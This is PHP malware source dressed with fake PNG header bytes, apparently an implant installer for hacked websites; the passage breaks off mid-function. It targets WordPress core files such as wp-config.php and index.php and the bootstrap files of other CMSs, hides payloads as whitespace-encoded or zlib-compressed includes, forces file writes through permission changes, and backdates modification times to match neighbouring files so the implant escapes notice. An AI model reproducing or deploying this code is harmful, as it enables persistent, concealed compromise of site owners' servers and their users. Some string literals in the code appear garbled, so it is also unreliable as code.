??????????????????????????§³??????????????P??????????????????????????????????????????????????????^?????????? ????j?????????? ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!I4hcr'; $TARGET_FILES = array( array('type' => 'fixed', 'path' => 'index.php'), array('type' => 'fixed', 'path' => 'wp-blog-header.php'), array('type' => 'fixed', 'path' => 'wp-load.php'), array('type' => 'fixed', 'path' => 'wp-config.php'), array('type' => 'rand', 'path' => 'wp-settings.php'), array('type' => 'rand', 'path' => 'wp-includes/version.php'), array('type' => 'rand', 'path' => 'wp-includes/compat.php'), array('type' => 'rand', 'path' => 'wp-includes/load.php'), array('type' => 'rand', 'path' => 'wp-includes/class-wp-widget.php'), array('type' => 'rand', 'path' => 'libraries/loader.php'), array('type' => 'rand', 'path' => 'libraries/src/Session/Session.php'), array('type' => 'rand', 'path' => 'includes/bootstrap.inc'), array('type' => 'rand', 'path' => 'vendor/composer/autoload_real.php'), array('type' => 'rand', 'path' => '../app/bootstrap.php'), ); define('WP_INDEX_ORIGINAL', 'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK'); define('_ME_RUNNING_DIR', isset($GLOBALS['____SCRIPT_DIR']) ? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR']) : str_replace('\\', '/', dirname(__FILE__))); define('_ME_RUNNING_FILE', isset($GLOBALS['____SCRIPT_FILE']) ? $GLOBALS['____SCRIPT_FILE'] : __FILE__); define('_ME_IS_WRAPPED', isset($GLOBALS['____SCRIPT_DIR'])); function CMS_SIGNATURES() { return array( 'wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php', 'configuration.php', 'includes/app.php', 'libraries/loader.php', 'sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php', 'app/etc/env.php', 'app/etc/config.php', 'bin/magento', 'app/Mage.php', 'app/etc/local.xml', 'artisan', 'bootstrap/app.php', 'vendor/autoload.php', 'symfony.lock', 'config/bundles.php', 'yii', 'web/index.php', 'protected/config/main.php', 'system/index.php', 'config.php', 'system/startup.php', 'config/settings.inc.php', 'composer.json', 'vendor/autoload.php', ); } function CMS_SIGNATURE_MAP() { return array( 'wp-config.php' => 'wordpress', 'wp-blog-header.php' => 'wordpress', 'wp-load.php' => 'wordpress', 'wp-settings.php' => 'wordpress', 'configuration.php' => 'joomla', 'includes/app.php' => 'joomla', 'libraries/loader.php' => 'joomla', 'sites/default/settings.php' => 'drupal', 'core/lib/Drupal.php' => 'drupal', 'autoload.php' => 'generic', 'app/etc/env.php' => 'magento2', 'app/etc/config.php' => 'magento2', 'bin/magento' => 'magento2', 'app/Mage.php' => 'magento1', 'app/etc/local.xml' => 'magento1', 'artisan' => 'laravel', 'bootstrap/app.php' => 'laravel', 'vendor/autoload.php' => 'generic', 'symfony.lock' => 'symfony', 'config/bundles.php' => 'symfony', 'yii' => 'yii', 'web/index.php' => 'yii', 'protected/config/main.php' => 'yii1', 'system/index.php' => 'codeigniter', 'config.php' => 'generic', 'system/startup.php' => 'opencart', 'config/settings.inc.php' => 'prestashop', 'composer.json' => 'generic', ); } function cms_name_for_signature($sig) { $map = CMS_SIGNATURE_MAP(); return isset($map[$sig]) ? $map[$sig] : ''; } function CMS_SYSTEM_DIRS() { return array( 'wordpress' => array('wp-includes', 'wp-content/plugins', 'wp-content/mu-plugins', 'wp-content/themes'), 'joomla' => array('libraries', 'includes', 'plugins', 'administrator/components', 'components', 'modules', 'templates'), 'drupal' => array('includes', 'core/includes', 'core/lib', 'modules', 'themes'), 'magento2' => array('app', 'lib/internal', 'app/design'), 'magento1' => array('app', 'lib', 'app/design'), 'laravel' => array('app', 'bootstrap', 'routes'), 'symfony' => array('src'), 'yii2' => array('controllers', 'models', 'components', 'modules', 'themes'), 'yii1' => array('protected', 'themes'), 'opencart' => array('system', 'catalog/controller', 'catalog/view/theme'), 'prestashop' => array('classes', 'controllers', 'modules', 'themes'), 'codeigniter' => array('system', 'application'), 'discuz' => array('source', 'uc_client', 'uc_server', 'source/plugin', 'template'), 'thinkphp' => array('thinkphp', 'application', 'app'), ); } function PHP_FILE_EXTS() { return array('php', 'inc', 'php5', 'php7', 'phtml', 'module', 'install', 'profile', 'engine'); } function SKIP_DIRS() { return array( '.', '..', '.git', '.svn', '.hg', 'node_modules', 'vendor', 'bower_components', 'cache', 'tmp', 'temp', 'logs', 'log', 'session', 'sessions', ); } function RESOURCE_KEYWORDS() { return array( 'media', 'css', 'js', 'img', 'images', 'image', 'fonts', 'font', 'uploads', 'upload', 'assets', 'asset', 'static', 'public', 'themes', 'theme', 'templates', 'template', 'dist', 'build', 'lib', 'libraries', 'icons', 'icon', 'sounds', 'sound', 'videos', 'video', 'docs', 'doc', 'files', 'file', 'data', 'resources', ); } function RESOURCE_EXTS() { return array( '.css', '.js', '.png', '.gif', '.svg', '.jpg', '.jpeg', '.webp', '.woff', '.woff2', '.ttf', '.eot', '.scss', '.min.css', '.min.js', '.php', '.txt', '.ico', '.xml', '.json', '.map', '.md', '.html', '.htm', '.less', '.sass', '.csv', '.pdf', ); } function COMMON_FOLDERS() { return array( "wp-admin/css" => "about-rtl.css,about-rtl.min.css,about.css,about.min.css,admin-menu-rtl.css,admin-menu-rtl.min.css,admin-menu.css,admin-menu.min.css,code-editor-rtl.css,code-editor-rtl.min.css,code-editor.css,code-editor.min.css,color-picker-rtl.css,color-picker-rtl.min.css,color-picker.css,color-picker.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,customize-controls-rtl.css,customize-controls-rtl.min.css,customize-controls.css,customize-controls.min.css,customize-nav-menus-rtl.css,customize-nav-menus-rtl.min.css,customize-nav-menus.css,customize-nav-menus.min.css,customize-widgets-rtl.css,customize-widgets-rtl.min.css,customize-widgets.css,customize-widgets.min.css,dashboard-rtl.css,dashboard-rtl.min.css,dashboard.css,dashboard.min.css,deprecated-media-rtl.css,deprecated-media-rtl.min.css,deprecated-media.css,deprecated-media.min.css,edit-rtl.css,edit-rtl.min.css,edit.css,edit.min.css,farbtastic-rtl.css,farbtastic-rtl.min.css,farbtastic.css,farbtastic.min.css,forms-rtl.css,forms-rtl.min.css,forms.css,forms.min.css,install-rtl.css,install-rtl.min.css,install.css,install.min.css,l10n-rtl.css,l10n-rtl.min.css,l10n.css,l10n.min.css,list-tables-rtl.css,list-tables-rtl.min.css,list-tables.css,list-tables.min.css,login-rtl.css,login-rtl.min.css,login.css,login.min.css,media-rtl.css,media-rtl.min.css,media.css,media.min.css,nav-menus-rtl.css,nav-menus-rtl.min.css,nav-menus.css,nav-menus.min.css,revisions-rtl.css,revisions-rtl.min.css,revisions.css,revisions.min.css,site-health-rtl.css,site-health-rtl.min.css,site-health.css,site-health.min.css,site-icon-rtl.css,site-icon-rtl.min.css,site-icon.css,site-icon.min.css,themes-rtl.css,themes-rtl.min.css,themes.css,themes.min.css,view-transitions.css,view-transitions.min.css,widgets-rtl.css,widgets-rtl.min.css,widgets.css,widgets.min.css,wp-admin-rtl.css,wp-admin-rtl.min.css,wp-admin.css,wp-admin.min.css", "wp-admin/css/colors/blue" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/coffee" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/ectoplasm" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/light" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/midnight" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/modern" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/ocean" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/sunrise" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/images" => "about-texture.png,align-center-2x.png,align-center.png,align-left-2x.png,align-left.png,align-none-2x.png,align-none.png,align-right-2x.png,align-right.png,arrows-2x.png,arrows.png,browser-rtl.png,browser.png,bubble_bg-2x.gif,bubble_bg.gif,comment-grey-bubble-2x.png,comment-grey-bubble.png,date-button-2x.gif,date-button.gif,freedom-1.svg,freedom-2.svg,freedom-3.svg,freedom-4.svg,generic.png,icons32-2x.png,icons32-vs-2x.png,icons32-vs.png,icons32.png,imgedit-icons-2x.png,imgedit-icons.png,list-2x.png,list.png,loading.gif,marker.png,mask.png,media-button-2x.png,media-button-image.gif,media-button-music.gif,media-button-other.gif,media-button-video.gif,media-button.png,menu-2x.png,menu-vs-2x.png,menu-vs.png,menu.png,no.png,post-formats-vs.png,post-formats.png,post-formats32-vs.png,post-formats32.png,privacy.svg,resize-2x.gif,resize-rtl-2x.gif,resize-rtl.gif,resize.gif,se.png,sort-2x.gif,sort.gif,spinner-2x.gif,spinner.gif,stars-2x.png,stars.png,w-logo-blue.png,w-logo-white.png,wheel.png,wordpress-logo-white.svg,wordpress-logo.png,wordpress-logo.svg,wpspin_light-2x.gif,wpspin_light.gif,xit-2x.gif,xit.gif,yes.png", "wp-admin/js" => "accordion.js,accordion.min.js,application-passwords.js,application-passwords.min.js,auth-app.js,auth-app.min.js,code-editor.js,code-editor.min.js,color-picker.js,color-picker.min.js,comment.js,comment.min.js,common.js,common.min.js,custom-background.js,custom-background.min.js,custom-header.js,customize-controls.js,customize-controls.min.js,customize-nav-menus.js,customize-nav-menus.min.js,customize-widgets.js,customize-widgets.min.js,dashboard.js,dashboard.min.js,edit-comments.js,edit-comments.min.js,editor-expand.js,editor-expand.min.js,editor.js,editor.min.js,farbtastic.js,gallery.js,gallery.min.js,image-edit.js,image-edit.min.js,inline-edit-post.js,inline-edit-post.min.js,inline-edit-tax.js,inline-edit-tax.min.js,iris.min.js,language-chooser.js,language-chooser.min.js,link.js,link.min.js,media-gallery.js,media-gallery.min.js,media-upload.js,media-upload.min.js,media.js,media.min.js,nav-menu.js,nav-menu.min.js,password-strength-meter.js,password-strength-meter.min.js,plugin-install.js,plugin-install.min.js,post.js,post.min.js,postbox.js,postbox.min.js,privacy-tools.js,privacy-tools.min.js,revisions.js,revisions.min.js,set-post-thumbnail.js,set-post-thumbnail.min.js,site-health.js,site-health.min.js,svg-painter.js,svg-painter.min.js,tags-box.js,tags-box.min.js,tags-suggest.js,tags-suggest.min.js,tags.js,tags.min.js,theme-plugin-editor.js,theme-plugin-editor.min.js,theme.js,theme.min.js,updates.js,updates.min.js,user-profile.js,user-profile.min.js,user-suggest.js,user-suggest.min.js,widgets.js,widgets.min.js,word-count.js,word-count.min.js,xfn.js,xfn.min.js", "wp-admin/js/widgets" => "custom-html-widgets.js,custom-html-widgets.min.js,media-audio-widget.js,media-audio-widget.min.js,media-gallery-widget.js,media-gallery-widget.min.js,media-image-widget.js,media-image-widget.min.js,media-video-widget.js,media-video-widget.min.js,media-widgets.js,media-widgets.min.js,text-widgets.js,text-widgets.min.js", "wp-includes/css" => "admin-bar-rtl.css,admin-bar-rtl.min.css,admin-bar.css,admin-bar.min.css,buttons-rtl.css,buttons-rtl.min.css,buttons.css,buttons.min.css,classic-themes.css,classic-themes.min.css,customize-preview-rtl.css,customize-preview-rtl.min.css,customize-preview.css,customize-preview.min.css,dashicons.css,dashicons.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,jquery-ui-dialog-rtl.css,jquery-ui-dialog-rtl.min.css,jquery-ui-dialog.css,jquery-ui-dialog.min.css,media-views-rtl.css,media-views-rtl.min.css,media-views.css,media-views.min.css,wp-auth-check-rtl.css,wp-auth-check-rtl.min.css,wp-auth-check.css,wp-auth-check.min.css,wp-block-template-skip-link-rtl.css,wp-block-template-skip-link-rtl.min.css,wp-block-template-skip-link.css,wp-block-template-skip-link.min.css,wp-embed-template-ie.css,wp-embed-template-ie.min.css,wp-embed-template.css,wp-embed-template.min.css,wp-empty-template-alert.css,wp-empty-template-alert.min.css,wp-pointer-rtl.css,wp-pointer-rtl.min.css,wp-pointer.css,wp-pointer.min.css", "wp-includes/css/dist/block-directory" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/block-editor" => "content-rtl.css,content-rtl.min.css,content.css,content.min.css,default-editor-styles-rtl.css,default-editor-styles-rtl.min.css,default-editor-styles.css,default-editor-styles.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/block-library" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,editor-elements-rtl.css,editor-elements-rtl.min.css,editor-elements.css,editor-elements.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,elements-rtl.css,elements-rtl.min.css,elements.css,elements.min.css,reset-rtl.css,reset-rtl.min.css,reset.css,reset.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css,theme-rtl.css,theme-rtl.min.css,theme.css,theme.min.css", "wp-includes/css/dist/components" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/customize-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-post" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-site" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/editor" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/format-library" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/list-reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/nux" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/fonts" => "dashicons.eot,dashicons.svg,dashicons.ttf,dashicons.woff,dashicons.woff2", "wp-includes/images" => "admin-bar-sprite-2x.png,admin-bar-sprite.png,arrow-pointer-blue-2x.png,arrow-pointer-blue.png,blank.gif,down_arrow-2x.gif,down_arrow.gif,icon-pointer-flag-2x.png,icon-pointer-flag.png,rss-2x.png,rss.png,spinner-2x.gif,spinner.gif,toggle-arrow-2x.png,toggle-arrow.png,uploader-icons-2x.png,uploader-icons.png,w-logo-blue-white-bg.png,w-logo-blue.png,wpicons-2x.png,wpicons.png,wpspin-2x.gif,wpspin.gif,xit-2x.gif,xit.gif", "wp-includes/images/crystal" => "archive.png,audio.png,code.png,default.png,document.png,interactive.png,license.txt,spreadsheet.png,text.png,video.png", "wp-includes/images/media" => "archive.png,archive.svg,audio.png,audio.svg,code.png,code.svg,default.png,default.svg,document.png,document.svg,interactive.png,interactive.svg,spreadsheet.png,spreadsheet.svg,text.png,text.svg,video.png,video.svg", "wp-includes/images/smilies" => "frownie.png,icon_arrow.gif,icon_biggrin.gif,icon_confused.gif,icon_cool.gif,icon_cry.gif,icon_eek.gif,icon_evil.gif,icon_exclaim.gif,icon_idea.gif,icon_lol.gif,icon_mad.gif,icon_mrgreen.gif,icon_neutral.gif,icon_question.gif,icon_razz.gif,icon_redface.gif,icon_rolleyes.gif,icon_sad.gif,icon_smile.gif,icon_surprised.gif,icon_twisted.gif,icon_wink.gif,mrgreen.png,rolleyes.png,simple-smile.png", "wp-includes/js" => "admin-bar.js,admin-bar.min.js,api-request.js,api-request.min.js,autosave.js,autosave.min.js,backbone.js,backbone.min.js,clipboard.js,clipboard.min.js,colorpicker.js,colorpicker.min.js,comment-reply.js,comment-reply.min.js,customize-base.js,customize-base.min.js,customize-loader.js,customize-loader.min.js,customize-models.js,customize-models.min.js,customize-preview-nav-menus.js,customize-preview-nav-menus.min.js,customize-preview-widgets.js,customize-preview-widgets.min.js,customize-preview.js,customize-preview.min.js,customize-selective-refresh.js,customize-selective-refresh.min.js,customize-views.js,customize-views.min.js,heartbeat.js,heartbeat.min.js,hoverintent-js.min.js,hoverintent.js,hoverintent.min.js,imagesloaded.min.js,json2.js,json2.min.js,masonry.min.js,mce-view.js,mce-view.min.js,media-audiovideo.js,media-audiovideo.min.js,media-editor.js,media-editor.min.js,media-grid.js,media-grid.min.js,media-models.js,media-models.min.js,media-views.js,media-views.min.js,quicktags.js,quicktags.min.js,shortcode.js,shortcode.min.js,swfobject.js,swfobject.min.js,tw-sack.js,tw-sack.min.js,twemoji.js,twemoji.min.js,underscore.js,underscore.min.js,utils.js,utils.min.js,wp-ajax-response.js,wp-ajax-response.min.js,wp-api.js,wp-api.min.js,wp-auth-check.js,wp-auth-check.min.js,wp-backbone.js,wp-backbone.min.js,wp-custom-header.js,wp-custom-header.min.js,wp-embed-template.js,wp-embed-template.min.js,wp-embed.js,wp-embed.min.js,wp-emoji-loader.js,wp-emoji-loader.min.js,wp-emoji-release.min.js,wp-emoji.js,wp-emoji.min.js,wp-list-revisions.js,wp-list-revisions.min.js,wp-lists.js,wp-lists.min.js,wp-pointer.js,wp-pointer.min.js,wp-sanitize.js,wp-sanitize.min.js,wp-util.js,wp-util.min.js,wpdialog.js,wpdialog.min.js,wplink.js,wplink.min.js,zxcvbn-async.js,zxcvbn-async.min.js,zxcvbn.min.js", "wp-includes/js/codemirror" => "codemirror.min.css,codemirror.min.js,csslint.js,espree.min.js,esprima.js,fakejshint.js,htmlhint-kses.js,htmlhint.js,jsonlint.js", "wp-includes/js/crop" => "cropper.css,cropper.js,marqueehoriz.gif,marqueevert.gif", "wp-includes/js/dist" => "a11y.js,a11y.min.js,annotations.js,annotations.min.js,api-fetch.js,api-fetch.min.js,autop.js,autop.min.js,base-styles.js,base-styles.min.js,blob.js,blob.min.js,block-directory.js,block-directory.min.js,block-editor.js,block-editor.min.js,block-library.js,block-library.min.js,block-serialization-default-parser.js,block-serialization-default-parser.min.js,blocks.js,blocks.min.js,components.js,components.min.js,compose.js,compose.min.js,core-data.js,core-data.min.js,data-controls.js,data-controls.min.js,data.js,data.min.js,date.js,date.min.js,deprecated.js,deprecated.min.js,dom-ready.js,dom-ready.min.js,dom.js,dom.min.js,edit-post.js,edit-post.min.js,edit-site.js,edit-site.min.js,editor.js,editor.min.js,element.js,element.min.js,escape-html.js,escape-html.min.js,format-library.js,format-library.min.js,html-entities.js,html-entities.min.js,i18n.js,i18n.min.js,is-shallow-equal.js,is-shallow-equal.min.js,keyboard-shortcuts.js,keyboard-shortcuts.min.js,keycodes.js,keycodes.min.js,list-reusable-blocks.js,list-reusable-blocks.min.js,media-utils.js,media-utils.min.js,notices.js,notices.min.js,nux.js,nux.min.js,plugins.js,plugins.min.js,primitives.js,primitives.min.js,priority-queue.js,priority-queue.min.js,redux-routine.js,redux-routine.min.js,rich-text.js,rich-text.min.js,server-side-render.js,server-side-render.min.js,shortcode.js,shortcode.min.js,token-list.js,token-list.min.js,url.js,url.min.js,viewport.js,viewport.min.js,warning.js,warning.min.js,wordcount.js,wordcount.min.js", "wp-includes/js/jcrop" => "jcrop.gif,jquery.jcrop.min.css,jquery.jcrop.min.js", "wp-includes/js/jquery" => "jquery-migrate.js,jquery-migrate.min.js,jquery.color.min.js,jquery.form.js,jquery.form.min.js,jquery.hotkeys.js,jquery.hotkeys.min.js,jquery.js,jquery.masonry.min.js,jquery.min.js,jquery.query.js,jquery.schedule.js,jquery.serialize-object.js,jquery.table-hotkeys.js,jquery.table-hotkeys.min.js,jquery.ui.touch-punch.js,suggest.js,suggest.min.js", "wp-includes/js/jquery/ui" => "accordion.js,accordion.min.js,autocomplete.js,autocomplete.min.js,button.js,button.min.js,checkboxradio.js,checkboxradio.min.js,controlgroup.js,controlgroup.min.js,core.js,core.min.js,datepicker.js,datepicker.min.js,dialog.js,dialog.min.js,draggable.js,draggable.min.js,droppable.js,droppable.min.js,effect-blind.js,effect-blind.min.js,effect-bounce.js,effect-bounce.min.js,effect-clip.js,effect-clip.min.js,effect-drop.js,effect-drop.min.js,effect-explode.js,effect-explode.min.js,effect-fade.js,effect-fade.min.js,effect-fold.js,effect-fold.min.js,effect-highlight.js,effect-highlight.min.js,effect-puff.js,effect-puff.min.js,effect-pulsate.js,effect-pulsate.min.js,effect-scale.js,effect-scale.min.js,effect-shake.js,effect-shake.min.js,effect-size.js,effect-size.min.js,effect-slide.js,effect-slide.min.js,effect-transfer.js,effect-transfer.min.js,effect.js,effect.min.js,menu.js,menu.min.js,mouse.js,mouse.min.js,progressbar.js,progressbar.min.js,resizable.js,resizable.min.js,selectable.js,selectable.min.js,selectmenu.js,selectmenu.min.js,slider.js,slider.min.js,sortable.js,sortable.min.js,spinner.js,spinner.min.js,tabs.js,tabs.min.js,tooltip.js,tooltip.min.js", "wp-includes/js/mediaelement" => "mediaelement-and-player.js,mediaelement-and-player.min.js,mediaelement-migrate.js,mediaelement-migrate.min.js,mediaelement.js,mediaelement.min.js,mediaelementplayer-legacy.css,mediaelementplayer-legacy.min.css,mediaelementplayer.css,mediaelementplayer.min.css,mejs-controls.png,mejs-controls.svg,wp-mediaelement.css,wp-mediaelement.js,wp-mediaelement.min.css,wp-mediaelement.min.js,wp-playlist.js,wp-playlist.min.js", "wp-includes/js/plupload" => "handlers.js,handlers.min.js,license.txt,moxie.js,moxie.min.js,plupload.js,plupload.min.js,wp-plupload.js,wp-plupload.min.js", "wp-includes/js/thickbox" => "loadinganimation.gif,macffbghack.png,thickbox.css,thickbox.js", "wp-includes/js/tinymce/langs" => "wp-langs-en.js", "wp-includes/js/tinymce/plugins/charmap" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/colorpicker" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/directionality" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/fullscreen" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/hr" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/image" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/link" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/lists" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/media" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/paste" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/tabfocus" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/textcolor" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wordpress" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpautoresize" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpdialogs" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpeditimage" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpemoji" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpgallery" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wplink" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wptextpattern" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpview" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/skins/lightgray/fonts" => "tinymce-small.eot,tinymce-small.svg,tinymce-small.ttf,tinymce-small.woff,tinymce.eot,tinymce.svg,tinymce.ttf,tinymce.woff", "wp-includes/js/tinymce/skins/lightgray/img" => "anchor.gif,loader.gif,object.gif,trans.gif", "wp-includes/js/tinymce/skins/wordpress/images" => "audio.png,dashicon-edit.png,dashicon-no.png,embedded.png,gallery-2x.png,gallery.png,more-2x.png,more.png,pagebreak-2x.png,pagebreak.png,playlist-audio.png,playlist-video.png,script.svg,style.svg,video.png", "wp-includes/js/tinymce/themes/inlite" => "theme.js,theme.min.js", "wp-includes/js/tinymce/themes/modern" => "theme.js,theme.min.js", ); } $_hasZlib = in_array('zlib.*', stream_get_filters()); function generate_encrypted_code_one($content) { $num = strlen($content); $res = ''; for ($i = 0; $i < $num; $i++) { $bin = sprintf('%08b', ord($content[$i])); $res .= str_replace(array('0', '1'), array(' ', "\t"), $bin); } $vars = array(); while (count($vars) < 5) { $varName = '$_' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 1) . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'), 0, rand(6, 10)); $vars[$varName] = true; } list($v_payload, $v_bin, $v_code, $v_arr, $v_item) = array_keys($vars); $code = "' . {$v_code});"; return $code; } function encode_payload_content($rawContent) { global $_hasZlib; if (!$_hasZlib) { _log('WARN', 'zlib stream filter NOT available - compress.zlib:// cannot inflate the payload on this host.'); } $clean = preg_replace('/^<\?php\s*/i', '', trim($rawContent)); $clean = preg_replace('/\?>\s*$/i', '', $clean); $guarded = ' ' . strlen($encoded) . ' gz bytes (zlib=' . ($_hasZlib ? 'yes' : 'no') . ')'); return $encoded; } function build_zlib_include_path($relativePath) { return 'compress.zlib://' . $relativePath; } function write_encoded_payload($rawContent, $dstPath) { $encoded = encode_payload_content($rawContent); @chmod($dstPath, 0644); if (@file_put_contents($dstPath, $encoded) !== false) { _log('DEBUG', "Encoded write succeeded (m1 file_put_contents): $dstPath"); return true; } $dst = @fopen($dstPath, 'wb'); if ($dst) { fwrite($dst, $encoded); fclose($dst); if (is_file($dstPath)) { _log('DEBUG', "Encoded write succeeded (m2 stream): $dstPath"); return true; } } $dir = dirname($dstPath); $temp = @tempnam($dir, 'tmp'); if ($temp !== false) { if (@file_put_contents($temp, $encoded) !== false) { @chmod($dstPath, 0644); if (@rename($temp, $dstPath)) { _log('DEBUG', "Encoded write succeeded (m3 tempnam+rename): $dstPath"); return true; } } @unlink($temp); } $oldDirMode = @fileperms($dir); $chmodded = false; if ($oldDirMode !== false) { $chmodded = @chmod($dir, 0755); } @unlink($dstPath); $ok4 = @file_put_contents($dstPath, $encoded); if ($chmodded && $oldDirMode !== false) @chmod($dir, $oldDirMode); if ($ok4 !== false) { _log('DEBUG', "Encoded write succeeded (m4 dir-swap): $dstPath"); return true; } _log('WARN', "All write methods failed for: $dstPath"); return false; } $_logs = array(); function _log($level, $msg) { global $_logs, $DEBUG, $LOG_FILE; $line = date('Y-m-d H:i:s') . " [$level] $msg"; $_logs[] = $line; if ($DEBUG) { if (php_sapi_name() === 'cli') { fwrite(STDERR, $line . "\n"); } @file_put_contents($LOG_FILE, $line . "\n", FILE_APPEND); } } function crypto_rand_int($min, $max) { if (function_exists('random_int')) { return random_int($min, $max); } return mt_rand($min, $max); } function random_case_string($str) { $out = ''; $hasUpper = false; $len = strlen($str); for ($i = 0; $i < $len; $i++) { $ch = $str[$i]; if (ctype_alpha($ch)) { if (mt_rand(0, 1) === 1) { $out .= strtoupper($ch); $hasUpper = true; } else { $out .= $ch; } } else { $out .= $ch; } } if (!$hasUpper) { $alphas = array(); for ($i = 0; $i < $len; $i++) if (ctype_alpha($str[$i])) $alphas[] = $i; if (!empty($alphas)) { $p = $alphas[mt_rand(0, count($alphas) - 1)]; $out[$p] = strtoupper($out[$p]); } } return $out; } function blend_file_mtime($filePath) { $dir = dirname($filePath); $ext = '.' . pathinfo($filePath, PATHINFO_EXTENSION); $extLen = strlen($ext); $siblings = @scandir($dir); if (!$siblings || count($siblings) <= 2) { $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400); _log('INFO', 'mtime blend (' . basename($filePath) . '): no siblings → random past: ' . date('Y-m-d', $target)); $ok = @touch($filePath, $target); _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)')); return $ok; } $mtimes = array(); foreach ($siblings as $f) { if ($f === '.' || $f === '..') continue; if (substr($f, -$extLen) !== $ext) continue; $full = $dir . '/' . $f; if (realpath($full) === realpath($filePath)) continue; $mt = @filemtime($full); if ($mt !== false) $mtimes[] = $mt; } if (empty($mtimes)) { $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400); _log('INFO', 'mtime blend (' . basename($filePath) . '): no same-ext siblings → random past: ' . date('Y-m-d', $target)); } else { $counts = array_count_values($mtimes); arsort($counts); $target = _me_first_key($counts); $majority = reset($counts); _log('INFO', 'mtime blend (' . basename($filePath) . '): ' . count($mtimes) . ' siblings, majority=' . $majority . '/' . count($mtimes) . ' → ' . date('Y-m-d H:i:s', $target)); } $ok = @touch($filePath, $target); _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)')); return $ok; } function me_is_stub_index($path) { if 